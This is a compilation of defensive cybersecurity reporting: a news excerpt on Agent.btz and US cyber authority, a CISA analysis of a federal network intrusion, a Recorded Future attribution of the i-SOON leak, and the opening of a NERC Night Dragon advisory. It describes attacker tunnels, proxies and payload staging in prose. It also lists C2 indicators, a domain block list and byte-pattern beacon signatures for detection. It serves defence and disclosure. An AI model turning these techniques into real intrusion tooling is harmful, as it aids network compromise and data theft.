“Say someone launched an attack on the U.S. from a known Chinese army computer — a known hostile computer,” the official said. “You could maybe disable the computer, but you’re not talking about making it explode and killing somebody.”
## Turf Battles
But the effort to create such comprehensive rules of engagement foundered, said current and former officials with direct knowledge of the policy debate. The Justice Department feared setting a legal precedent for military action in domestic networks. The CIA resisted letting the military infringe on its foreign turf. The State Department worried the military would accidentally disrupt a server in a friendly country without seeking consent, undermining future cooperation. The Department of Homeland Security, meanwhile, worked to keep its lead role in securing the nation against cyberthreats.
The debate bogged down over how far the military could go to parry attacks, which can be routed from server to server, sometimes in multiple countries. “Could you go only to the first [server] you trace back to? Could you go all the way to the first point at which the attack emanated from? Those were the questions that were still being negotiated,” said a former U.S. official.
The questions were even more vexing when it came to potentially combating an attack launched from servers within the United States. The military has no authority to act in cyberspace when the networks are domestic — unless the operation is on its own systems.
In October 2010, Pentagon officials signed an agreement with the Department of Homeland Security pledging to work to enhance the nation’s cybersecurity. But in speeches, Alexander, the head of Cyber Command, has suggested that more needs to be done. “Right now, my mission as commander of U.S. Cyber Command is to defend the military networks,” he said in an April speech in Rhode Island. “I do not have the authority to look at what’s going on in other government sectors, nor what would happen in critical infrastructure. That right now falls to DHS. It also means that I can’t stop it, or at network speed… see what’s happening to it. What we do believe, though, is that that needs to be accounted for. We have to have a way to protect our critical infrastructure.”
Homeland Security Secretary Janet Napolitano, in a speech in California that same month, made her preference clear. “At DHS, we believe cyberspace is fundamentally a civilian space.”
The execute order was signed in February. The standing rules of engagement limit the military to the defense of its own networks and do not allow it to go outside them without special permission from the president.
## The Next Vulnerability?
Almost from the beginning, U.S. officials suspected that Russia’s spy service created Agent.btz to steal military secrets. In late 2008, Russia issued a denunciation of the allegation, calling it “groundless” and “irresponsible.” Former officials say there is evidence of a Russian role in developing the malware, but some doubt whether the spy service created Agent.btz to infiltrate U.S. military computers.
Some say it could have been a product of Russia’s sophisticated mafia, with its extensive computer expertise, to collect all sorts of protected records worth stealing — or selling to the highest bidder. Or there could have been Russian involvement in one phase of the malware’s development before it was adapted by others. Others say they have no doubt that it was intentionally aimed at the Defense Department. New versions of Agent.btz continue to appear, years after it was discovered.
What is clear is that Agent.btz revealed weaknesses in crucial U.S. government computer networks — vulnerabilities based on the weakest link in the security chain: human beings. The development of new defenses did not prevent the transfer of massive amounts of information from one classified network to the anti-secrecy group WikiLeaks, an act that the government charges was carried out by an Army intelligence analyst.
NSA analysts know how to neutralize Agent.btz and its variants, but no one knows when the next vulnerability will be discovered or what kind of intrusion might ensue.
Richard “Dickie” George, who was the NSA information assurance technical director until his retirement this year, said that in the early days of Operation Buckshot Yankee, a four-star general asked when the danger from Agent.btz would pass and heightened security measures could end. “We had to break the news to him,” George recalled, “that this is never going to be over.” |
# Federal Agency Compromised by Malicious Cyber Actor
## Summary
This Analysis Report uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. The Cybersecurity and Infrastructure Security Agency (CISA) responded to a recent cyberattack on a federal agency’s enterprise network. By leveraging compromised credentials, the cyber threat actor implanted sophisticated malware—including multi-stage malware that evaded the affected agency’s anti-malware protection—and gained persistent access through two reverse Socket Secure (SOCKS) proxies that exploited weaknesses in the agency’s firewall.
## Description
CISA became aware of a potential compromise of a federal agency’s network via EINSTEIN, CISA’s intrusion detection system that monitors federal civilian networks. In coordination with the affected agency, CISA conducted an incident response engagement, confirming malicious activity. The following information is derived exclusively from the incident response engagement and provides the threat actor’s tactics, techniques, and procedures as well as indicators of compromise that CISA observed.
## Threat Actor Activity
The cyber threat actor had valid access credentials for multiple users’ Microsoft Office 365 (O365) accounts and domain administrator accounts, which they leveraged for Initial Access [TA0001] to the agency's network (Valid Accounts [T1078]). First, the threat actor logged into a user’s O365 account from IP address 91.219.236[.]166 and then browsed pages on a SharePoint site and downloaded a file (Data from Information Repositories: SharePoint [T1213.002]). The cyber threat actor connected multiple times by Transmission Control Protocol (TCP) from IP address 185.86.151[.]223 to the victim organization’s virtual private network (VPN) server (Exploit Public-Facing Application [T1190]).
CISA analysts were not able to determine how the cyber threat actor initially obtained the credentials. It is possible the cyber actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability—CVE-2019-11510—in Pulse Secure (Exploitation for Credential Access [T1212]). In April 2019, Pulse Secure released patches for several critical vulnerabilities—including CVE-2019-11510, which allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.
After initial access, the threat actor performed Discovery [TA0007] by logging into an agency O365 email account from 91.219.236[.]166 and viewing and downloading help desk email attachments with “Intranet access” and “VPN passwords” in the subject line, despite already having privileged access (Email Collection [T1114], Unsecured Credentials: Credentials In Files [T1552.001]). The actor logged into the same email account via Remote Desktop Protocol (RDP) from IP address 207.220.1[.]3 (External Remote Services [T1133]). The actor enumerated the Active Directory and Group Policy key and changed a registry key for the Group Policy (Account Manipulation [T1098]). Immediately afterward, the threat actor used common Microsoft Windows command line processes—conhost, ipconfig, net, query, netstat, ping, and whoami, plink.exe—to enumerate the compromised system and network (Command and Scripting Interpreter [T1059], System Network Configuration Discovery [T1016]).
The cyber threat actor then attempted multiple times to connect to virtual private server (VPS) IP 185.86.151[.]223 through a Windows Server Message Block (SMB) client. Although they connected and disconnected multiple times, the connections were ultimately successful. During the same period, the actor used an alias secure identifier account they had previously created to log into VPS 185.86.151[.]223 via an SMB share. The attacker then executed plink.exe on a victim file server (Command and Scripting Interpreter [T1059]).
The cyber threat actor established Persistence [TA0003] and Command and Control [TA0011] on the victim network by (1) creating a persistent Secure Socket Shell (SSH) tunnel/reverse SOCKS proxy, (2) running inetinfo.exe (a unique, multi-stage malware used to drop files), and (3) setting up a locally mounted remote share on IP address 78.27.70[.]237 (Proxy [T1090]). The mounted file share allowed the actor to freely move during its operations while leaving fewer artifacts for forensic analysis.
The cyber threat actor created a local account, which they used for Data Collection [TA0009], Exfiltration [TA0010], Persistence [TA0003], and Command and Control [TA0011] (Create Account [T1136]). The cyber threat actor used the local account to:
- Browse directories on a victim file server (Data from Shared Network Drive [T1039]).
- Copy a file from a user’s home directory to their locally mounted remote share (Data Staged [T1074]).
- Create a reverse SMB SOCKS proxy that allowed connection between an actor-controlled VPS and the victim organization’s file server.
- Interact with PowerShell module Invoke-TmpDavFS.psm.
- Exfiltrate data from an account directory and file server directory using tsclient (Data from Local System [T1005], Data from Network Shared Drive [T1039]).
- Create two compressed Zip files with several files and directories on them (Archive Collected Data [T1560]); it is likely that the cyber threat actor exfiltrated these Zip files, but this cannot be confirmed because the actor masked their activity.
## Threat Actor Malware
### Persistent SSH Tunnel/Reverse SOCKS Proxy
While logged in as “Administrator,” the cyber threat actor created two Scheduled Tasks that worked in concert to establish a persistent SSH tunnel and reverse SOCKS proxy. The proxy allowed connections between an attacker-controlled remote server and one of the victim organization’s file servers. The Reverse SOCKS Proxy communicated through port 8100 (Non-Standard Port [T1571]). This port is normally closed, but the attacker’s malware opened it.
**Table 1: Scheduled Tasks composing SSH tunnel and reverse SOCKS proxy**
| Scheduled Task | Description |
|-------------------------------|-------------|
| ShellExperienceHost.exe | This task created a persistent SSH tunnel to attacker-controlled remote server 206.189.18[.]189 and employed port forwarding to allow connections from the remote server port 39999 to the victim file server through port 8100. This task was run daily. ShellExperienceHost.exe is a version of plink.exe, a command-line version of PuTTy that is used for remote administration. |
| WinDiag.exe | This task is a reverse SOCKS proxy that is preconfigured to bind to and listen on TCP port 8100. WinDiag.exe received responses through the SSH tunnel and forwarded the responses through port 8100 to the VPS IP address 185.193.127[.]17 over port 443. This task was run on boot. WinDiag.exe had compile information that matched the VPS login name. |
### Dropper Malware: inetinfo.exe
The threat actor created a Scheduled Task to run inetinfo.exe. inetinfo.exe is a unique, multi-stage malware used to drop files. It dropped system.dll and 363691858 files and a second instance of inetinfo.exe. The system.dll from the second instance of inetinfo.exe decrypted 363691858 as binary from the first instance of inetinfo.exe. The decrypted 363691858 binary was injected into the second instance of inetinfo.exe to create and connect to a locally named tunnel. The injected binary then executed shellcode in memory that connected to IP address 185.142.236[.]198, which resulted in download and execution of a payload.
The cyber threat actor was able to overcome the agency’s anti-malware protection, and inetinfo.exe escaped quarantine. CISA analysts determined that the cyber threat actor accessed the anti-malware product’s software license key and installation guide and then visited a directory used by the product for temporary file analysis. After accessing this directory, the cyber threat actor was able to run inetinfo.exe (Impair Defenses: Disable or Modify Tools [T1562.001]).
### Reverse SMB SOCKS Proxy
PowerShell script HardwareEnumeration.ps1 created a reverse SMB SOCKS proxy that allowed connection between attacker-controlled VPS IP 185.193.127[.]18 and the victim organization’s file server over port 443. PowerShell script HardwareEnumeration.ps1 was executed daily via a Scheduled Task. HardwareEnumeration.ps1 is a copy of Invoke-SocksProxy.ps1, a free tool created and distributed by a security researcher on GitHub. Invoke-SocksProxy.ps1 creates a reverse proxy from the local machine to attacker infrastructure through SMB TCP port 445 (Non-Standard Port [T1571]). The script was likely altered with the cyber threat actor’s configuration needs.
### PowerShell Module: invoke-TmpDavFS.psm
invoke-TmpDavFS.psm is a PowerShell module that creates a Web Distributed Authoring and Versioning (WebDAV) server that can be mounted as a file system and communicates over TCP port 443 and TCP port 80. invoke-TmpDavFS.psm is distributed on GitHub.
## Solution
### Indicators of Compromise
CISA analysts identified several IP addresses involved in the multiple stages of the outlined attack.
- 185.86.151[.]223 – Command and Control (C2)
- 91.219.236[.]166 – C2
- 207.220.1[.]3 – C2
- 78.27.70[.]237 – Data Exfiltration
- 185.193.127[.]18 – Persistence
### Monitor Network Traffic for Unusual Activity
CISA recommends organizations monitor network traffic for the following unusual activity:
- Unusual open ports (e.g., port 8100)
- Large outbound files
- Unexpected and unapproved protocols, especially outbound to the internet (e.g., SSH, SMB, RDP)
If network defenders note any of the above activity, they should investigate.
### Prevention
CISA recommends organizations implement the following recommendations to protect against activity identified in this report:
- **Deploy an Enterprise Firewall**: Organizations should deploy an enterprise firewall to control what is allowed in and out of their network. If the organization chooses not to deploy an enterprise firewall, they should work with their internet service provider to ensure the firewall is configured properly.
- **Block Unused Ports**: Organizations should conduct a survey of the traffic in and out of their enterprise to determine the ports needed for organizational functions. They should then configure their firewall to block unnecessary ports. Organizations should develop a change control process to make control changes to those rules. Of special note, unused SMB, SSH, and FTP ports should be blocked.
### Additional Recommendations
CISA recommends organizations implement the following best practices:
- Implement multi-factor authentication, especially for privileged accounts.
- Use separate administrative accounts on separate administration workstations.
- Implement the principle of least privilege on data access.
- Secure RDP and other remote access solutions using multifactor authentication and “jump boxes” for access.
- Deploy and maintain endpoint defense tools on all endpoints.
- Keep software up to date.
## References
### Revisions
September 24, 2020: Initial Version
This product is provided subject to this Notification and this Privacy & Use policy. Please share your thoughts. We recently updated our anonymous product survey; we'd welcome your feedback. |
# Attributing i-SOON: Private Contractor Linked to Multiple Chinese State-sponsored Groups
## Executive Summary
On February 18, 2024, an anonymous GitHub user posted a trove of leaked documents and material from Anxun Information Technology Co., Ltd. (安 洵 信 息 技 术 有 限 公 司; also known as i-SOON), a China-based cybersecurity and information technology company that almost certainly conducts offensive cyber-espionage operations for Chinese government clients. The leak offers an unprecedented glimpse inside the inner workings of China’s cyber-espionage ecosystem and represents the most significant leak of data linked to a company suspected of providing targeted intrusion services for Chinese security services.
By correlating historical tracking of Chinese state-sponsored threat activity groups and the leaked material, Insikt Group identified strong infrastructure, tooling, victimology, and personnel overlap between i-SOON and multiple tracked Chinese state-sponsored threat activity groups that likely operate as subgroups under i-SOON: RedAlpha, RedHotel, and POISON CARP. The leaked material corroborates our previous assessment that RedHotel is one of the most prominent, active Chinese state-sponsored threat activity groups based on the group’s consistently high operational tempo and global targeting remit. The leak also further supports hypotheses that Chinese state-sponsored groups are supported by “digital quartermasters” that enable the sharing of custom capabilities under commercial arrangements.
In addition to gaining an understanding of the inner workings of cyber-espionage operations, network defenders can apply victimology intelligence gained from the leak to improve internal threat models. This information, often obscured from public view, can allow for a more thorough understanding as to why specific commercial, communication, or other data may be targeted and how it can be used for intelligence purposes. One such example from the i-SOON leak is the apparent exfiltration of call data records (CDR) and other material from multiple telecommunications companies, likely to enable tracking of individuals’ locations and communications within specific countries.
Despite i-SOON's global impact and extensive targeting, it is a relatively small company operating alongside numerous other similar entities within China's complex private contractor landscape, again underscoring the broad scope and scale of Chinese state-sponsored cyber operations. In the aftermath of substantial media attention following the leak, we anticipate i-SOON-linked threat activity groups will attempt to continue operations unabated beyond tactical operational security adjustments. We have already observed signs of renewed infrastructure developments attributed to RedAlpha and RedHotel. Future tracking of the company’s targeting may provide insight as to whether they will continue to be favored for use by Chinese security services against specific targets or if they will be relegated to lower-priority tasking in the aftermath of the leak. In addition to potential internal changes, the leak is also likely to assist US law enforcement in providing supporting evidence for potential future indictments of i-SOON personnel.
## Key Findings
- Lax operational security and leaked material link i-SOON corporate infrastructure and personnel to offensive cyber-espionage operations attributed to RedHotel, RedAlpha, and POISON CARP.
- While these threat activity groups have been considered operationally distinct based on significantly differing tactics, techniques, and procedures (TTPs), the identified links to i-SOON indicate that they are likely sub-teams focused on specific missions within the same company.
- Based on victim data, i-SOON’s victims span at least 22 countries, with government, telecommunications, and education representing the most targeted sectors.
- i-SOON also supports domestic security priorities, including the targeting of ethnic and religious minorities (such as the Tibetan community) and the online gambling industry catering to the Chinese market.
- i-SOON very likely uses and sells access to custom malware families such as ShadowPad and Winnti. This corroborates long-held hypotheses regarding China’s offensive cyber activity, where privately held malware families and exploits are often observed in use by multiple distinct threat activity groups under commercial arrangements.
## Background
On February 18, 2024, an anonymous GitHub user posted a trove of leaked company documents and material related to i-SOON. The leak— which is no longer available via GitHub—includes over 500 files of promotional material, product and service “white papers,” spreadsheets of contracts and targets, and employee chat logs that reveal the company’s clients, potential victims, and claimed capabilities. Interviews by the Associated Press (AP) with two i-SOON employees have corroborated that the leak is almost certainly genuine.
As summarized within public reporting, i-SOON advertises a range of offensive, defensive, and training capabilities and platforms. The company offers capabilities designed to allow remote access to all major operating systems and mobile devices, as well as capabilities to monitor major social media sites and to analyze and query exfiltrated victim data.
i-SOON’s clients range across three systems in China:
- The public security system, which generally refers to police forces under the Ministry of Public Security (MPS).
- The state security system, which generally refers to intelligence forces under the Ministry of State Security (MSS).
- The military system, primarily meaning the People’s Liberation Army (PLA).
i-SOON’s activities on behalf of public security clients included targeting foreign government and telecommunications organizations that analysts may have previously assumed were more likely to be associated with state security priorities, highlighting overlapping areas of responsibility between public and state security organizations, and broad use of offensive cyber operations across both systems.
Countries in which government and corporate entities have almost certainly been targeted by i-SOON include India, Pakistan, Kazakhstan, Kyrgyzstan, Thailand, Malaysia, Mongolia, Myanmar, Nepal, Rwanda, Vietnam, Indonesia, Cambodia, Nigeria, Egypt, South Korea, Türkiye, and others, as well as entities in Hong Kong and Taiwan.
We also note more ambiguous references to organizations within the leak, where it is unclear as to whether these organizations were victims, targets, or otherwise. Countries in which entities may have been targeted include the United Kingdom (UK) and the United States (US), as well as organizations such as the North Atlantic Treaty Organization (NATO).
## Specific Tools Identified in i-SOON Leak Offer Attribution Clues
### i-SOON Very Likely Uses and Distributes the Custom ShadowPad Backdoor
Screenshots of a Windows malware family documented within a “user manual” indicate that i-SOON is very likely selling access to the custom modular backdoor ShadowPad. ShadowPad has been privately distributed across Chinese state-sponsored groups since at least 2015, with Insikt Group tracking over thirteen distinct Chinese groups using the custom backdoor. The link between the leaked i-SOON material and ShadowPad is based on the following evidence:
- A builder screenshot shown in the report directly aligns with known ShadowPad configurations seen in the wild, specifically the use of MyTest and the install path %ALLUSERPROFILE%\DRM\Test\Test.exe. More specifically, this configuration appears to align with the bespoke ShadowPad packer ScatterBee (also known as ShadowShredder and PoppingBee). This evidence, alongside identified links between i-SOON and the primary ScatterBee user RedHotel, indicates that i-SOON is likely an original developer of ScatterBee.
- Furthermore, one of the builder screenshots features the IP address 118.31.3.116. This is a known ShadowPad C2 that was likely active in May 2019 based on the presence of unique HTTP headers associated with ShadowPad usage. This time frame aligns with additional timestamps visible within the product screenshots contained within the leaked material.
### i-SOON Very Likely Uses and Distributes Winnti Linux Variant
In addition to ShadowPad, the leaked material contains references to what is almost certainly the Linux variant of the custom Winnti backdoor, which is again sold as a commercial offering to i-SOON clients. The visible use of the internal name “TreadStone” for the malware controller directly aligns with material referenced in US Department of Justice indictments against the Chinese information technology company Chengdu 404 Network Technology (“Chengdu 404”), specifically related to the custom malware family Winnti. Similar to ShadowPad, Winnti has been privately shared across a range of Chinese state-sponsored threat activity groups since early 2013. Incidentally, Chengdu 404, a private contractor attributed to the Chinese state-sponsored threat activity group RedGolf (APT41, Brass Typhoon, Wicked Panda), has been engaged in a legal case with i-SOON centered on a software development contract dispute. As referenced within public reporting, the leaked material also details a business relationship between these two organizations.
### Additional Unknown Linux Malware Family “Hector”
A third malware family specifically referenced in an i-SOON instruction manual uses the internal name “Hector.” Based on the leaked documents, Hector is a modular Linux backdoor that uses the WebSocket over TLS (WSS) protocol for C2 communications. The product manual references additional modules/plug-ins with the following names:
- libCmdMgr.so
- libFileManagerRemote.so
- libFileTransferRemote.so
The use of WSS for C2 communications is reminiscent of another modular custom malware family, KEYPLUG, which has a Linux variant and is shared across multiple Chinese state-sponsored groups. However, there is insufficient evidence to link Hector to a known malware family at this time.
## The POISON CARP Connection — Mobile Device Targeting Subgroup
Public reporting identified clear infrastructure overlaps between i-SOON and activity attributed to POISON CARP, a suspected Chinese state-sponsored threat activity group that has been observed targeting mobile devices within the Tibetan community. Insikt Group has corroborated these links and identified additional overlaps between POISON CARP-linked infrastructure and i-SOON.
The IT7NET IP address 74.120.172.10 is directly referenced in leaked i-SOON employee chat logs. This IP address has historically hosted the domain mailnotes.online, which is listed in POISON CARP reporting by the Citizen Lab. This IP address currently continues to host the similarly named mailteso.online. These employees also reference an Android remote access trojan (RAT), which is consistent with POISON CARP mobile device targeting.
In 2019, mailnotes.online resolved to the Vultr IP address 207.246.101.169 concurrently with a subdomain of gmailapp.me, another domain referenced in the Citizen Lab report. This IP address concurrently hosted the subdomain gmail.isooncloud.com. Along with directly referencing i-SOON, WHOIS data for this domain indicates it is registered by an individual named Zheng Huadong (郑 华 东). Material from the i-SOON leak repeatedly references an i-SOON senior executive named Zheng Huadong in chat logs and within a company roster. The subdomain gmail.isooncloud.com also has a further historical hosting overlap with www.gmailapp.me on 107.150.102.143 dating back to 2018.
## The RedAlpha Connection — Large-Scale Credential Phishing Subgroup
Insikt Group has also identified multiple overlaps between i-SOON and a prolific credential phishing threat activity group we track under the alias RedAlpha (Deepcliff, Red Dev 3). We have historically reported on RedAlpha activity conducting credential phishing activity targeting humanitarian, think tank, and government organizations globally, as well as specific ethnic and religious minority groups such as the Tibetan and Uyghur communities. This targeting aligns with material within the i-SOON leak and the documented intelligence requirements of i-SOON’s local and regional customers within China’s public security and state security apparatus. Elements of the highlighted RedAlpha and RedHotel connections were also noted in a 2023 PWC presentation at the LABScon conference.
### RedAlpha’s Infrastructure Connection to i-SOON
Insikt Group identified an overlap between i-SOON-linked infrastructure and RedAlpha credential phishing infrastructure. Specifically, continuing on from findings noted in the POISON CARP section above, the previously referenced i-SOON-linked domain gmail.isooncloud.com resolved to the dedicated UCLOUD INFORMATION TECHNOLOGY HK LIMITED IP address 107.150.102.143 in 2018. This IP address concurrently hosted two additional domains, www.sw-hk.services and antspam-mail.services. These two domains in turn directly correlate with a large number of RedAlpha credential phishing domains via concurrent hosting overlaps on the dedicated RedAlpha INVESTCLOUD IP address 23.249.165.150 in 2018.
### RedAlpha’s Personnel Connection to i-SOON
Insikt Group also identified multiple overlaps between i-SOON and a previously identified RedAlpha-linked persona, “Liang Guodong” (梁 国 栋, also known under the monikers “girder” and “liner”), whom we previously referenced in 2022 reporting. These overlaps are summarized as follows:
- A 2011 iteration of the i-SOON corporate website i-soon.net linked to just two external websites, both of which were personal blogs: lengmo.net and linercn.org. The lengmo.net domain was registered and operated by i-SOON co-founder Chen Cheng (陈 诚), aka lengmo.
- Insikt Group previously tied linercn.org to the Liang Guodong persona within customer-facing reporting based on matching WHOIS registrant information and historical archives of the site, which lists a specific personal QQ account as a contact point: [email protected]. This QQ account has numerous links to the Liang Guodong persona and was historically used to register multiple RedAlpha credential phishing domains.
- According to sources held by Recorded Future, prior to March 2022, an individual called Liang Guodong was a partner and investor in a company called Chengdu Xingcan Information Technology Cooperative Enterprise (Limited Partnership) 成 都 星 璨 信 息 技 术 合 伙 企 业. This company was founded by i-SOON CEO Wu Haibo, is located at the same address as the i-SOON’s Chengdu office, and was listed alongside a contact email address of [email protected], an email address belonging to i-SOON’s finance manager Tao Tingting (陶 婷 婷).
- Sources held by Recorded Future also indicate that Chengdu Xingcan holds a 6.45% stake in Anxun Information Technology Co., Ltd. (i-SOON), with some sources stating they are part of the same “group” (集 团 /族 群).
- Notably, both the Liang Guodong persona and the founder of i-SOON—Wu Haibo, aka “Shutd0wn”—are self-proclaimed ex-members of the prominent Chinese underground hacking group Green Corps (绿色兵团).
## The RedHotel Connection — Fully Fledged Network Intrusion Subgroup
Finally, Insikt Group identified tooling, infrastructure, location, and victimology overlap with the Chinese state-sponsored threat activity group we track as RedHotel (Aquatic Panda, Bronze University, CHROMIUM, Charcoal Typhoon, ControlX, Earth Lusca, Fishmonger, Red Dev 10, Red Scylla, TAG 22). The connection between RedHotel and i-SOON has also been noted by multiple other organizations.
### i-SOON and RedHotel Are Both Based in Chengdu
Insikt Group has previously assessed that RedHotel likely operates out of Chengdu, Sichuan province. This aligns with the operation location of i-SOON’s “penetration” team, per material within the i-SOON leak. The leaked material also reveals that 122 of i-SOON’s 159 employees are based in Chengdu, incorporating all of the company’s technical personnel.
### i-SOON and RedHotel Infrastructure Overlaps
Similar to POISON CARP and RedAlpha, we observed an infrastructure correlation between known RedHotel infrastructure and i-SOON. Building on the Liang Guodong connection highlighted earlier in this report, Insikt Group observed that three domains registered by one of Liang’s previously identified email addresses, [email protected], resolved to the IPTELECOM ASIA IP address 43.239.156.63 throughout 2017 and 2018. This IP address also concurrently hosted one additional domain, news.1ds.me. Notably, other subdomains of 1ds.me have direct links to RedHotel activity:
- The subdomain docx.1ds.me has concurrent hosting overlaps on dedicated infrastructure with multiple previously identified RedHotel domains such as web.goog1eweb.com.
- The subdomain ip.1ds.me was a C2 domain for multiple identified Winnti (Linux) samples.
### RedHotel Is a Prolific ShadowPad and Winnti (Linux) User
The previously established use of ShadowPad and Winnti (Linux) by i-SOON, both privately held custom malware families, aligns with tracked RedHotel activity as one of the most prolific users of both of these malware families in recent years. Furthermore, as previously noted, i-SOON appears to be selling a ShadowPad variant obfuscated using the bespoke packing mechanism known as ScatterBee. RedHotel has been the primary user of the ShadowPad ScatterBee variant historically, supporting the hypothesis that i-SOON is the original developer and user of this variant.
While a less strong correlation, the use of open-source offensive security tools such as Acunetix and multiple open-source webshells referenced in the i-SOON leak also aligns with historical RedHotel activity.
### i-SOON Victim Data Overlaps Temporally With RedHotel Intrusion Activity
Finally, Insikt Group observed multiple overlaps between specific victim organizations referenced in the i-SOON leak and historically identified RedHotel victims. A selection of identified examples of these overlaps are provided below:
| Organization | Overlap Between i-SOON and RedHotel Victims |
|--------------|---------------------------------------------|
| Nepal Telecom | The leaked i-SOON material references data exfiltrated from Nepal Telecom from May 2021. Insikt Group observed likely data exfiltration from Nepal Telecom corporate infrastructure to a RedHotel Spyder C2 IP address this same month, as previously reported. |
| Ministry of Economy and Finance (MEF) of Cambodia | The leaked material references exfiltrated data from fmis.mef.gov.kh, the Financial Management Information System (FMIS) of the Ministry of Economy and Finance of Cambodia. Insikt Group previously observed and reported on an FMIS mail server communicating to RedHotel ShadowPad C2 infrastructure in June 2022. |
| Thai Government Departments | The leaked i-SOON material also references multiple Thai government departments as victims with no time frames provided. Many of these overlap with known RedHotel victims historically reported by Insikt Group. |
| Scientific and Technological Research Council of Türkiye | Using Recorded Future Network Intelligence, Insikt Group observed Scientific and Technological Research Council of Türkiye (Tübitak) SSL VPN and mail server infrastructure regularly communicating to a RedHotel actor-controlled server. This organization is also referenced in the i-SOON leak as being compromised in 2020. |
| Various Telecommunications Organizations | The i-SOON leak refers to the compromise of multiple Asian telecommunications firms including Myanmar Posts and Telecommunications (Myanmar), Digi (Malaysia), and Bayan Telecommunications (Philippines). While we have not observed RedHotel compromising these organizations directly, we have observed historical typosquat domains spoofing these organizations, which we attribute to RedHotel. |
| Hong Kong Universities | The leaked i-SOON documents reference multiple compromised Hong Kong universities from 2019 to 2021. This directly aligns with RedHotel activity reported publicly by ESET during this time frame. Notably, the ESET report references the use of subdomains containing specific victim identities within subdomains. |
## The Comm100 Supply-Chain Compromise Connection
Finally, we also note an overlap between the IP address 8.218.67.52 referenced in the i-SOON leak and a supply-chain compromise targeting a chat-based customer engagement application developed by the Canadian software firm Comm100, as explored in Palo Alto Unit42 research. CrowdStrike previously assessed this intrusion was likely conducted by a China-nexus actor in support of wider targeting of the online gambling sector. This directly aligns with i-SOON’s documented support of China’s public security service documented within the leaked material, which specifically refers to capabilities surrounding the monitoring of online gambling platforms catering to the Chinese market, including via an intelligence platform named “Falcon Anti-Gambling Platform.”
## Outlook
The i-SOON leak offers an unprecedented look inside China’s cyber-espionage ecosystem and specifically the role that a large complex web of private contractors plays in gathering intelligence on behalf of China’s public security, state security, and military intelligence apparatus. It provides supporting evidence regarding the long-suspected presence of “digital quartermasters” that provide capabilities to multiple Chinese state-sponsored groups. Despite i-SOON's global impact and extensive targeting, it is a relatively small company operating alongside numerous other entities within China's private contractor landscape that operate under a similar model, again underscoring the broad scope and scale of Chinese cyber operations supporting security services and military intelligence efforts.
In the future, Insikt Group anticipates that i-SOON-linked threat activity groups will continue to remain active and largely operate unabated. Notably, since the material was leaked, Insikt Group has already identified newly observed domain and infrastructure developments from i-SOON-linked groups RedAlpha and RedHotel, including the following examples:
- On February 27, 2024, RedAlpha registered the credential phishing domain fwl.homes, which resolved to the dedicated server 45.146.234.159. This domain has been observed spoofing an email login site for Microsoft Outlook. The group also registered a further domain, msew.homes, on March 1, 2024, which resolved to the dedicated VirMach IP address 85.209.17.107.
- On March 2, 2024, multiple subdomains of the known RedHotel domain ekaldhfl.club began resolving to the UFO Network IP address 45.195.198.103. At this time, we also observed this IP address communicate with a known upstream RedHotel server in a manner consistent with previously highlighted activity.
## Appendix A — Indicators of Compromise
Note: These indicators are historical and often date back several years. They are included solely as a collation of the referenced infrastructure used in this report to identify connections between i-SOON and tracked Chinese state-sponsored threat activity and should not be used as indications of current activity.
### Domains
- 1ds.me
- antspam-mail.services
- bayantele.xyz
- dnslookup.services
- docx.1ds.me
- gmail.isooncloud.com
- gmailapp.me
- i-soon.net
- ip.1ds.me
- lengmo.myds.me
- lengmo.net
- linercn.org
- livehost.live
- mailnotes.online
- mailteso.online
- mpt.buzz
- mptcdn.com
- mydigi.site
- news.1ds.me
- wcuhk.livehost.live
- web.goog1eweb.com
- whkedu.dnslookup.services
- www.gmailapp.me
- www.sw-hk.services
### IP Addresses
- 1.192.194.162
- 66.98.127.105
- 101.219.17.111
- 118.31.3.116
- 171.88.142.148
- 171.88.143.37
- 171.88.143.72
- 221.13.74.218
### Email Addresses
- Chen Cheng aka lengmo: [email protected]
- Wu Haibo aka Shutd0wn: [email protected]
- Zheng Huadong: [email protected]
- Liang Guodong aka liner aka girder: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] |
# Night Dragon Specific Protection Measures for Consideration
The exploits and methods contained in Night Dragon’s attack set are not new or unique to our industry, nor are the approaches or methods to combat it. However, NERC issues this Advisory in response to an identified pattern of activity that has been directed against the energy sector. This Advisory communicates specific information and suggested actions for Night Dragon in accordance with standard detection, prevention, and recovery phases of a strong incident response program.
The following framework provides two sets of prioritized measures and countermeasures that may be useful to prevent traffic to and from known “command and control” (C&C) servers and domains, and identify the presence of Night Dragon activity on specific systems. They begin with simple low-cost, low-impact, high-value prevention and detection suggestions, and escalate to more invasive actions should evidence of Night Dragon activity or compromise be found.
These actions are based on information available as of February 18, 2011, and while they offer good suggestions to detect and combat Night Dragon, they provide no guarantee that a targeted attack against your systems would be unsuccessful. If you have not already done so, take this opportunity to establish a reporting relationship with ICS CERT and NERC’s ES-ISAC for real-time sharing of any new information on this attack set such as additional C&C servers, updated search strings, new variants, etc.
Entities should also closely monitor their relevant security vendors for signature updates and detection and removal tools. Some of these measures are invasive and could create problems with operational systems. It is important to understand your technology environment and the impact these tools could have on operational systems prior to any deployment.
## Primary Protection and Discovery Measures
The following three actions are important first steps in detecting and preventing known Night Dragon activity.
1. **Apply access control restrictions on all perimeter devices.**
- Modify email blacklists and firewall Access Control Lists (ACLs) to deny, log, and alert on traffic to/from the following primary domains used by the known C&C servers. According to McAfee, all four domains have been used frequently by other malware, so blocking them may be warranted regardless.
- is-a-chef.com
- thruhere.net
- office-on-the.net
- selfip.com
- Modify Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), and other deep packet inspection tools to detect and alert on network traffic associated with Night Dragon activity. If detected, validate as malicious and consider blocking the traffic in addition to triggering an alert:
- Each communication packet between compromised hosts and the C&C servers are signed with a plain text signature of “hW $.” (Or “\x68\x57\x24\x13”) at the byte offset 0x0C within the TCP packet.
- Backdoor beacon, identified by a 5-second interval with an initial packet with the pattern: “\x01\x50[\x00-\xff]+\x68\x57\x24\x13.”
- Beacon acknowledgement with the pattern: “\x02\x60[\x00-\xff]+\x68\x57\x24\x13.”
- Periodic heartbeat or keep-alive signal with the pattern: “\x03\x50[\x00-\xff]+\x68\x57\x24\x13.”
- Plaintext password exchange with the pattern: “\x03\x50[\x00-\xff]+\x68\x57\x24\x13.”
- Open source IDS signatures have been made available on a number of open source websites and added to open source rule sets. Some commercially available IDS/IPS signatures have also been updated to include Night Dragon detection.
